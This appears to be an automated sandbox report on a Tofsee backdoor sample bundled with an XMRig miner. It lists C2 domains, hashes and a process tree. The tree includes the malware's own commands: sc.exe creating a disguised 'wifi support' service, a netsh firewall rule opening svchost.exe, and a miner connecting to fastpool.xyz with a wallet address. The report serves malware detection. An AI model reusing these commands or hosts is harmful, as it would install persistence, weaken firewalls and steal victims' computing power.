Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2022, 15:00

General

  • Target
    file.exe
  • Size 193KB
  • Sample221115-sdbavsed54
  • SHA256 555dee0ff16bac6c4ca16e94c836dd11b4e85f89156c5599e26ab5a905fb141c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rbahoyhk\
      2⤵
        PID:1580
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\heyzweub.exe" C:\Windows\SysWOW64\rbahoyhk\
        2⤵
          PID:4012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rbahoyhk binPath= "C:\Windows\SysWOW64\rbahoyhk\heyzweub.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rbahoyhk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rbahoyhk
          2⤵
          • Launches sc.exe
          PID:1320
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3400
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 1036
          2⤵
          • Program crash
          PID:3856
      • C:\Windows\SysWOW64\rbahoyhk\heyzweub.exe
        C:\Windows\SysWOW64\rbahoyhk\heyzweub.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:116
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5040
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3288
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 116 -s 536
          2⤵
          • Program crash
          PID:4224
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4516 -ip 4516
        1⤵
          PID:700
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 116 -ip 116
          1⤵
            PID:5080

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                heyzweub.exe

                • Path C:\Users\Admin\AppData\Local\Temp\heyzweub.exe
                • Size 10.6MB
                • SHA256 0efc2f2f36e9c27e1d79182b8b678084c3d94c7a46edd0ec1fa22571080c4061
                • MD5 SHA1 SHA512 SSDEEP

                heyzweub.exe

                • Path C:\Windows\SysWOW64\rbahoyhk\heyzweub.exe
                • Size 10.6MB
                • SHA256 0efc2f2f36e9c27e1d79182b8b678084c3d94c7a46edd0ec1fa22571080c4061
                • MD5 SHA1 SHA512 SSDEEP

                memory/116-149-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/116-148-0x0000000000693000-0x00000000006A3000-memory.dmp

                memory/3288-176-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/3288-171-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/4516-135-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/4516-143-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/4516-134-0x0000000000750000-0x0000000000763000-memory.dmp

                memory/4516-133-0x0000000000669000-0x0000000000679000-memory.dmp

                memory/5040-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/5040-155-0x00000000023F0000-0x00000000023F6000-memory.dmp

                memory/5040-158-0x0000000002E10000-0x0000000002E20000-memory.dmp

                memory/5040-161-0x00000000071C0000-0x00000000071C5000-memory.dmp

                memory/5040-164-0x0000000007C80000-0x000000000808B000-memory.dmp

                memory/5040-167-0x00000000071D0000-0x00000000071D7000-memory.dmp

                memory/5040-151-0x0000000000D80000-0x0000000000D95000-memory.dmp

                memory/5040-150-0x0000000000D80000-0x0000000000D95000-memory.dmp

                memory/5040-145-0x0000000000D80000-0x0000000000D95000-memory.dmp